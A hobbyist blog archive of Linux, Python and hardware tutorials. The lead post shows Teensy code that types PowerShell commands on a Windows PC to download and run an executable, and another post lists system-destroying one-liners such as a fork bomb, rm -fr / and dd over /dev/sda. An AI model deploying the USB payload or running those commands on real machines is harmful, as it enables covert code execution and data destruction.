Labels

Arduino (1) Bugs (3) C (1) Install (3) Linux (25) Maths (1) Python (11) Raspberry Pi (4)

Tuesday, 20 December 2016

HID keyboard attacks on Windows with a Teensy 3.1

The Teensy 3.1 is a small USB development board similar to Arduino and can be programmed using the Arduino ide. The Teensy board has the ability to act as a USB HID device like a keyboard or mouse and this is what allows us to exploit most computers as most computers have no security when it comes to keyboards or mice.

Things we will be doing:
  • Install the Arduino ide
  • Install the Teensy libraries
  • Setting up the Teensy
  • Programming the Teensy to run code on the test PC

Installing the Arduino ide:
Download the version of Arduino you need whether it be Linux or Windows.
Windows:
Download the windows installer and run the .exe file. The setup should be relatively easy to follow.

Linux:
Download the Arduino archive.
To extract the archive use the command:
tar xf filename.tar.xz


Then run the script install.sh using the command:
sudo sh install.sh
Make sure you note down where you install Arduino as we need this is the next step.


Installing the Teensy libraries:
Download the version of teensyduino that you need whether it be Linux or Windows.
Download the udev rules file if you are on linux.
Linux:
To add the udev rules run the command:
sudo cp 49-teensy.rules /etc/udev/rules.d/
Now run the executable that we downloaded before and follow the steps.

Setting up the Teensy:
We need to set the Arduino IDE board to Teensy 3.1/3.2. This can be done by going to tools, board, Teensy 3.1/3.2. We also need to change the USB type to Keyboard. This can be done by going to tools, USB Type, Keyboard.




















Programming the Teensy:
Go and check out the documentation provided by pjrc here for emulating a keyboard with the Teensy.

Before we actually start programming the Teensy we need to plan out what we will be doing.
Steps:
  1. Open powershell
  2. Download and run the executable
  3. Close the window
Step 1(Open powershell):
We need to open powershell which can be done by pressing the keys:
WINDOWS_KEY + R
"powershell"
ENTER
Note that we will need delays within this code so you may have to play around with the size of these as a slow computer will need a longer delay.
int smalldelay = 500;
int largedelay = 5000;
void setup() {} //So far no setup is needed
void send_keys(){ //Reduce repitition in code
    Keyboard.send_now();  //Send current keys
    Keyboard.set_modifier(0);  //Set modifier to no key
    Keyboard.set_key1(0);  //Set key1 to no key
    Keyboard.set_key2(0);  //Set key2 to no key
    Keyboard.send_now();   //Send the blank keys
}
void press_enter(){ //Reduce repititon in code
    Keyboard.set_key1(KEY_ENTER);  //Set key to enter key
    send_keys();  //Call send_keys function to send the key then clear
}
void loop() { 
    delay(10000); //Delay for 10 seconds for time to upload code
    Keyboard.set_modifier(MODIFIERKEY_GUI);  //Set modifier to the windows key
    Keyboard.set_key1(KEY_R);  //Set key1 to the key "r"
    send_keys();  //Call send_keys function
    delay(smalldelay);  //Delay to allow windows run box to open
    Keyboard.print("powershell");  //Type the line "powershell"
    press_enter();  //Call press_enter function to press the enter key
    delay(largedelay);  //Delay to allow powershell to open
    Keyboard.print("dir");  //Type "dir" to the powershell
    press_enter();  //Call the press_enter function to press the enter key
    delay(50000);  //Delay for 50 seconds before looping again
}

This code will powershell and run the command dir(We can remove this later as its only used
as an example).
Note the 10 second delay at the start of the loop is needed otherwise the Teensy will
start to overwrite your code when plugged in.

Step 2 and 3:
To download the executable that we will be running we need to run the following powershell commands:
$client = new-object System.Net.WebClient
$client.DownloadFile("http://127.0.0.1/a.exe","$env:TEMP\a.exe")
start $env:Temp\a.exe
exit

We need to add the following lines of code after the last enter press
Keyboard.print("$client = New-Object System.Net.WebClient");
press_enter();
delay(smalldelay);
Keyboard.print("$client.DownloadFile(\"http://127.0.0.1/a.exe\",
\"$env:TEMP\\a.exe\") ; start $env:TEMP\\a.exe ; exit");
press_enter();
This will now download a file from wherever you point it at and run the file, it then closes the window.
Note the backslashed before the double quotes is to prevent them from closing the string.

You will most likely have to change the delays within the code as some systems can take a fair amount of time to open powershell which is one of the limitations of the attack.

Tuesday, 13 December 2016

How to send emails in Python

We are going to be using the yagmail library to send a email using python.

To start of we will need to install the yagmail python library.
pip install yagmail

If you don't have pip installed you can install using the following commands depending on your OS.

Debian systems:
sudo apt-get install python-pip

RedHat/Fedora
sudo yum upgrade python-setuptools
sudo yum install python-pip python-wheel


Arch Linux:
sudo pacman -s python2-pip

openSUSE:
sudo zypper install python-pip python-setuptools python-wheel

Now we will test that the library has been installed with a simple python script.

#!/usr/bin/python
import yagmail


Run this script and if it produces no errors you are good to go.

Now we can get started sending emails.

First we need to import the necessary libraries(yagmail, time).
import yagmail
import time


Now lets setup the variables that are going to be sent in the email
subject = "Sent from Python at " + time.strftime("%D:%M:%Y")
message = "Hello, World!"
sender_email = "YOUR_EMAIL"
sender_password = "YOUR_PASSWORD"
recipient_email = "RECIPIENT_EMAIL"


Now lets send the email
yag = yagmail.SMTP(sender_email, sender_password)
yag.send(recipient_email, subject, message)


Putting all of that together we get:
import yagmail
import time

subject = "Sent from Python at " + time.strftime("%D:%M:%Y")
message = "Hello, World!"
sender_email = "YOUR_EMAIL"
sender_password = "YOUR_PASSWORD"
recipient_email = "RECIPIENT_EMAIL"

yag = yagmail.SMTP(sender_email, sender_password)
yag.send(recipient_email, subject, message)


If we run this script you should have a sent a email using less than 10 lines of python.

Link to yagmail GitHub

Saturday, 10 December 2016

Buffer Overflow Variable writing in C



Buffer overflows usually stem from code that has been badly written and not included the necessary checks to prevent them.



Vulnerable code:
#include
int main(){
        char buffer[5];
        char a[2];
        char b[2];
        printf("Enter a string: ");
        gets(buffer);
        printf("Contents of buffer:%s\n",buffer);
        printf("Contents of a:%c\n",a);
        printf("Contents of b:%c\n",b);
}
To compile this code use this command
gcc bufferOverflow.c -fno-stack-protector
Now lets try inputting 5 characters:
Enter a string:aaaaa
Contents of buffer:aaaaa
Contents of a:
Contents of b:
At the moment it is running well without any errors and not overflowing into the variables a and b, this is because we are not exceeding the size of the buffbuffer overflower.

Lets increase it to 6:
Enter a string:aaaaa
Contents of buffer:aaaaa
Contents of a:
Contents of b:
a and b are still empty.

After some trial and error I managed to write into the variable b using 15 characters.
Enter a string: aaaaaaaaaaaaaaa
Contents of buffer:aaaaaaaaaaaaaaa
Contents of a:
Contents of b:a
Using 16 characters I have managed to indirectly write into the memory which holds the values of a and b.

If you input more characters at some point you will cause a segmentation fault as the program is trying to access memory that it doesn't have access to.
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Contents of buffer:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Contents of a:a
Contents of b:a
Segmentation fault (core dumped)
To fix the code we need to change the gets function to fgets.
#include
int main(){
        char buffer[5];
        char a;
        char b;
        printf("Enter a string: ");
        fgets(buffer, sizeof(buffer), stdin);
        printf("Contents of buffer:%s\n",buffer);
        printf("Contents of a:%c\n",a);
        printf("Contents of b:%c\n",b);
}
Now no matter what we enter to the program it will never write more characters than the size of the buffer to the buffer.
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Contents of buffer:aaaa
Contents of a:
Contents of b:
Only 4 characters are printed as fgets includes the newline character at the end of the input.

Friday, 9 December 2016

Shrink a PDF on linux

You can shrink a pdf using this command:


ps2pdf -dPDFSETTINGS=/"OPTION" BiggerPdf.pdf SmallerPDF.pdf


To change the amount of compression change "Option" to:
screen - Low quality
ebook - Med quality
printer - High quality

Monday, 5 December 2016

Creating a excutable shell script

When writing shell scripts you can use .sh file extension and run using the sh command.
Example:
sh helloWorld.sh

You can make your shell script executable and run using ./
Example:
./helloWorld.sh

To make it like this we need to do 2 things:
Change the file permissions
Define the interpreter/shell we will be using in the script.

Changing the file permissions:
Run the command:
chmod 0755 helloWorld.sh
This will allow all users to run the script

To only allow the current user to run the script run:
chmod 0700 helloWorld.sh

Defining the shell within the script:
Add the following line to the start of the script
#!/bin/sh
Or
#!/bin/bash
Depending on which one you are using.

Now you can run your script by typing
./helloWorld.sh



Monday, 19 September 2016

5 commands you should NOT run.

**DISCLAIMER:MOST OF THESE COMMANDS WILL RENDER YOUR PC USELESS DO NOT RUN ON YOUR PERSONAL COMPUTER**
If you do want to test them out you can check out this tutorial on installing vmware and run them inside a VM just for fun.

A list from this reddit post for people to post the most dangerous/annoying commands they can come up with.

The Classic Fork bomb:
Posted by cuba200611
This line crashes your system as it uses up all the resources. It works by creating a function which calls its self twice and has no way of terminating it's self. This quickly uses up all the resources and crashes your PC.

:(){ :|: & };:



Delete your whole hard drive:
This line deletes everything from the hard-drive when run as root.

rm -fr /



Break your CD drive:
This line constantly ejects your CD drive not allowing it to shut.
Posted by wee0x1b

while true; do eject; done



Overwrite you hard drive:
This line writes zeros to your hard drive
Posted by Celtore

dd if=/dev/zero of=/dev/sda


Chmod killer:
Posted by: therancor91
Explanation from gigolo_daniel:
For those wondering why this breaks your entire system giving you execution permission errors everywhere while prima facie it merely seems to add permissions, the primary reason is that it removes setuid and setgid bits on executables if you change permissions like that. These mode bits when an executable is ran run it under the permission of the owning user and owning group respectively, not the user who executes it. This is typically used with a lot of executables to allow a temporary elevation of privileges which is needed for a surprisingly large number of operations.

You can no longer normally become root after you done this because both sudo and su use the setuid bit to enable a login as root.

chmod 777 /



All of these commands show the true power of a one line command which could destroy your system, be careful when copying commands.

Saturday, 17 September 2016

Simulating your mouse

Sometimes you just want to automate tasks but the program only has a GUI. Simulating mouse clicks can make this job a lot easier and this is were xdotool comes in.

Installing xdotool:

Debian systems:

sudo apt-get install xdotool


RedHat/Fedora:

sudo yum install xdotool


Arch linux:

sudo pacman -S xdotool


Simulating mouse movements and clicks

Left click

xdotool click 1

Right click

xdotool click 2

Mouse move

xdotool XXX YYY (XXX,YYY Being the coordinates)

A basic example where this can be used is a online dogeminer click game.

#!/bin/sh
#Simple Auto clicker
while [ 1 ];do
  xdotool mousemove XXX YYY click 1
  sleep 5
done



Friday, 1 July 2016

Python3:Lesson 3 If statments

If you are new to python you can check out my other lessons to get up to speed.
  1. Lesson 1
  2. Lesson 2
An If statement is used to decision in the program depending on different variables, it allows selection to take place.

First off lets get some input from the user that we can use in the if statement. I will do it in the context of test grades.
score = int(input("Please enter your score out of 100: "))

We now have the user score stored in the variable "score" as an integer.

Now lets look at the operators for a if statement.
  • == Is used for equal to.
  • <= Is used for less than or equal to.
  • >= Is used for greater than or equal to.
  • != Is used for not equal to.
  • and can be used for 2 comparisions.
We now need to create our if/elif statement.
if ( score >= 90 ):
    print("A")
elif ( score >= 80 and score < 90 ):
    print("B")
elif ( score >= 70 and score < 80 ):
    print("C")
elif ( score < 70 ):
    print("Fail")

Now if we run this code with the score as 85 it should print out a "B" to the screen.

Wednesday, 29 June 2016

How to install android studio

Android studio is a development environment for creating android apps.

To install it you first will need to download it from here. After you have downloaded it you will have a file called something like "android-studio-ide-143.2915827-linux.zip". You need to unzip this file to be able to use it.

To do this run:
unzip android-studio-ide-143.2915827-linux.zip

You should now have a directory that looks something like this:
You now need to enter the "bin" folder and run the script  "studio.sh". If you are unsure how to run the script:
./studio.sh
Now complete the setup following the instructions it gives you, once you are done close the program down, we can now start installing the program.
Do this after you have completed all of the other steps as you will have to reconfigure it so it will waste your time otherwise.

Steps to install:
  1. Locate where your android studio bin folder is located.
  2. Add this to your PATH variable.
  3. Rename studio.sh to studio.
Step 1:
First you need to cd to the unzipped android studio folder as shown in the picture earlier on. You then need to cd to the bin folder. You can now rename studio.sh to studio.
mv studio.sh studio


You can now run the pwd command to get the full location of your directory.
pwd






You can now see that the directory is located at "/home/matty/Downloads/android-studio/bin"

We now need to add this path to your PATH variable. We do this so that you can type studio and open up the android studio from the terminal.

export PATH=$PATH:/"YOUR PATH TO THE DIRECTORY"

Note: YOUR PATH TO THE DIRECTORY is what we have just got from the pwd command, this should be added without the quotes for the above command.

You should now be able to type "android" into your terminal and it will open the android studio.


Are you vulnerable to the bash bug?

The Bash bug or shell shock as it is also known, is a bug in the bash shell. It allows code to be remotely executed on your server. This could lead to malicious code being installed to your server and it no longer being your server.(CVE-2014-6271)

How to test if you are vulnerable:
First you will need to open a terminal on your server/PC.
You now need to enter this command:
env x='() { :;}; echo this text should not be seen' bash -c 'echo This text should be seen'
If you get the message "this text should not be seen" then you are vulnerable.


How to patch this vulnerability:
To patch this vulnerability we need to update bash.
This is a simple task that can be solved in a few commands.

Debian systems patch:
Run these commands.
sudo apt-get update
sudo apt-get install bash


Fedora systems patch:
Run these commands.  
sudo yum update -y bash


You have now updated your bash shell and will no longer be vulnerable.

Sunday, 26 June 2016

Python 3: Lesson 2 Basics

This lesson will include:
  • Input
  • Output
  • Storing values in variables
  • A combination of the above.
Variables
Variables are used to hold data within the program. In python you do not need to assign it to a certain data type as this is done automatically.
Example Use:
a = 5                 #This would be defined as an integer
b = "Hello, World"    #This would be defined as a string
c = 5.000             #This would be defined as a float



Input
To allow the users to input data into the program we use the input() function. Most of the time this will be paired up with assigning it to a variable to store the data.
Example Use:

name = input("Please enter your name: ")

The "Please enter your name: " is the prompt that tells the user what the program is asking for.

Output
To allow the program to output data from the program.
Example Use:

print("Hello, World!")
print(name) In this case the contents of the variable "name" will be printed to the screen


Combination of all three
We will now create a program that uses variables input and output.
First off we will get the user to input some data.

name = input("Please enter your name: ")
age = input("How old are you?: ")

We have now got two things from them, their name(stored in the variable "name") and their age(stored in the variable "age").

We can now print this variables out with a print statement.
print("Hello",name,"you are",age, "years old")

You now have a program that will ask the user their name and age and print out the output of both of these in a sentence.







Saturday, 25 June 2016

Python3: Lesson 1 Installing Python

Python is a high level interpreted programming language. It's user friendly code allows anyone to start learning it at home.

Installing Python
Most Linux distributions come with python installed out of the box. Open up a terminal and type python3 to check. If you don't get any errors then you are ready to go.

Installing on Debian systems:
sudo apt-get install python3

Installing from source:
wget --no-check-certificate http://www.python.org/ftp/python/3.4.3/Python-3.4.3.tgz
tar xvf Python-3.4.3.tgz
cd Python-3.4.3
./configure
make
sudo make install



Now when you type the command python3 It should open up a python terminal.

Sunday, 10 April 2016

Ceaser cipher in Python

A Ceaser cipher is a basic encryption originating from the 1st century, invented by Julius Ceaser. It works by moving each letter a fixed position down or up the alphabet.
Here it is better explained by a diagram:









Now for the code in python 2.7, Firstly we will create a function for encoding so open a new file:
def encode(text)


Create an array to hold the new characters:
new_text = []

Now we need to loop through each character in the input text the user will give us:
for char in text:

ord converts a character to its numbered value in ascii.
In this case we will shift all the letters by 3 forward in the ascii table however you can use whatever number you want as long as it lower than 127:
char = ord(char) + 3

To make sure that we stay in the range of ASCII values we need to implement an if statement
if(char > 127):
    char = char - 127


Now to convert the value back to a character:
char = chr(char)

Then add this character to the array:
new_text.append(char)


We have reached the end of this function and now have to return the array to the program:
return new_array

You should now have your first function, which put together look like this:
def encode(text):
        new_text = []
        for char in text:
                char = ord(char) + 3
                if(char > 127):
                        char = char - 127
                char = chr(char)
                new_text.append(char)
        return new_text

The decode function works the same you just need to the opposite to decode instead of encode. I have made the changes in bold below.
def decode(text):
        new_text = []
        for char in text:
                char = ord(char) - 3
                if(char < 0):
                        char = char + 127
                char = chr(char)
                new_text.append(char)
        return new_text


We now need to allow the user to input some text and decide to encode or decode.
This can be done with a simple while loop and if/elif statment:



choice = 0
while choice != 3:
        choice = raw_input("1:Encode, 2:Decode, 3:Exit ")
        if(choice == "1"):
                user_input = raw_input("Enter a word: ")
                new_text = encode(user_input)
                print ''.join(new_text)
        elif(choice == "2"):
                user_input = raw_input("Enter a word: ")
                new_text = decode(user_input)
                print ''.join(new_text) 
        elif(choice == "3"):
                print "Goodbye"
        else:
                print "Please enter a correct choice"



Now lets see if it works

Checking the encoding works:
Choose 1 for encode then enter "hello, world" it should give the output of "khoor/#zruog"

Checking the decoding works:
Choose 2 for decode then enter "khoor/#zruog" it should give the output of "hello, world"

Sunday, 21 February 2016

How to fix the "Firefox already running" problem on Linux

After creating a script which included closing a firefox tab and hiding the window I realised I could not open firefox and just got a "Firefox is already running" error every time after running this script once.

I tried running the command
sudo killall firefox
As there may have been some hidden windows however this didn't work.

Then I tried reinstalling firefox
sudo apt-get install --reinstall firefox
This didn't seem to work either.

Note this command will remove all personal data from firefox, run at your own risk.

After some research I found this
sudo rm -fr /home/"USERNAME"/.mozilla
This worked and I could open firefox again however I don't believe its the best way of solving this problem.

I'm open to any better ways so post in the comments if you have any.

Wednesday, 17 February 2016

How to Install NVIDIA Drivers on Ubuntu 15.10 14.04

The NVIDIA graphics cards are often the best cards you can get for linux graphics cards with the propriety drivers being the best performing, however the open-source drivers lack support.This causes most users interested in gaming or graphics intensive tasks resorting to using the propriety drivers that NVIDIA release.

We need to do a few things before we can install the NVIDIA driver:
Note: Installing drivers can cause problems so make a backup.
Add the graphics PPA:
A PPA or Personal Package Archive is more up to date software thats not included by Ubuntu by default.
To add the PPA run:
sudo add-apt-repository ppa:graphics-drivers/ppa

Now update the package lists:
sudo apt-get update

Now install the NVIDIA driver:
sudo apt-get install nvidia-358 nvidia-settings

Reboot your machine:
reboot

After the reboot run:
nvidia-settings

If this starts up with no errors you have successfully installed the driver and it is running.

Saturday, 6 February 2016

How to create a Python Dictionary.

Dictionaries in python are quite similar to arrays in how they look however arrays are indexed by a range of numbers i.e. 1-10, but dictionaries are indexed by their key.You can set these keys to immutable data types only.They can also be known as key pair arrays.

You will used to seeing this to create a standard array using square brackets.
test_array = []


If you want to create a dictionary you use curly brackets.
test_dictionary = {}


The format of a dictionary looks like this.
{'TEST': 1}

With TEST being the key and 1 the pair.

If you want to store values in a dictionary
test_dictionary["KEY"] = "Pair"

Note: You don't have to just use string other data types in place of each one.

To iterate through a dictionary
for key, value in test_dictionary.items():
     print('{0} links to {1}'.format(key, value)
Note: Using format when printing strings is considered good practice.

Sunday, 24 January 2016

How to encrypt files on linux using GPG

GPG is part of the group GNU Privacy Guard group. Its a program to encrypt/decrypt files using a key or password, the key being more secure.It can be used to make files with sensitive data in them secure and unreadable without the password or key.

To install GPG run:
sudo apt-get install gnupg

To encrypt a file with a password run:
gpg -c inventorofbitcoin.txt
You will then be promoted to enter a password.
The encrypted file is stored as inventorofbitcoin.txt.gpg note that the original file isn't deleted.

To decrypt a file with a password run:
gpg inventorofbitcoin.txt.gpg
You will then be prompted for the password and after the correct password has entered you will have to original file.

Setting up a apache web server on linux

Apache is a standalone HTTP web server for linux. There are others like nginx but in my opinion apache is the easiest to configure and understand.

To install apache :
sudo apt-get install apache2

Once it's installed you have a web server running that can be accessed on your local network.
To check it's running go to your web browser and type 127.0.0.1 and it should come up with a default page.

To access it from other computers on the network we need to find out your local IP address which can be done with:
ifconfig wlan0 | grep "inet addr"

This will give you a output of
inet addr:192.168.0.18 Bcast:192.168.0.255 Mask:255.255.255.0
With your IP being inet addr:192.168.0.18

Now enter this ip on another device on your local network and it should come up with the same default homepage, if you want to set a static IP have a look at this post.

Wednesday, 20 January 2016

How to use the camera on the Raspberry Pi

The Raspberry pi is capable of taking pictures in 1080p and its quite easy to once you get it connected.
First off you need to connect the camera and enable using the raspi-configraspistill -o image.jpg
This saves a photo as "image.jpg" in the current directory.
If you get an error like

mmal: mmal_vc_component_enable: failed to enable component: ENOSPC
mmal: camera component couldn't be enabled
mmal: main: Failed to create camera component
mmal: Failed to run camera app. Please check for firmware updates

Change the quality:
raspistill -q 50 -o image.jpg
This saves a photo as "image.jpg" with 50% quality therefore saving size.

Taking a video for 5 seconds:
raspivid -o video.h264
This takes a video for the default time of 5 seconds and saves it as "video.h264".

Taking a video for a different time:
raspivid -t 120 -o video.h264
This takes a video for 120 seconds or 2 mins. Make sure you have enough space on your sd card as these videos can get large very quickly.

Sunday, 17 January 2016

How to transfer files using SCP

SCP is a secure file transfer that uses SSH for the data transfer which is why it is secure as it uses the same authentication.

To use it the client needs to be running SSH.

Things we need to know:
Username and password for host
IP address for the host box.
Where the file is located i.e /home/pi/file.txt

How to use it:
To copy one file from the remote host use the command:
scp pi@192.168.0.10:/home/pi/file.txt /home/(WHERE YOU WANT THE FILE)

To copy one file to the remote host use the command:
scp /home/(FILE to copy) pi@192.168.0.10:/home/pi/file.txt

Increase security:
scp -c 3des pi@192.168.0.10:/home/pi/file.txt /home/(WHERE YOU WANT THE FILE)

Increase speed using compression:
scp -C pi@192.168.0.10:/home/pi/file.txt /home/(WHERE YOU WANT THE FILE)



How to enable forwarding on linux

Enabling forwarding on linux allows network packets from one interface (eth0) to another interface (wlan0). The use for this would most commonly be for setting up your box as a hotspot or bridge.
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
 

If you want to store this permanently edit the file /etc/sysctl.conf
Add the line net.ipv4.ip_forward = 1 to the end of the file.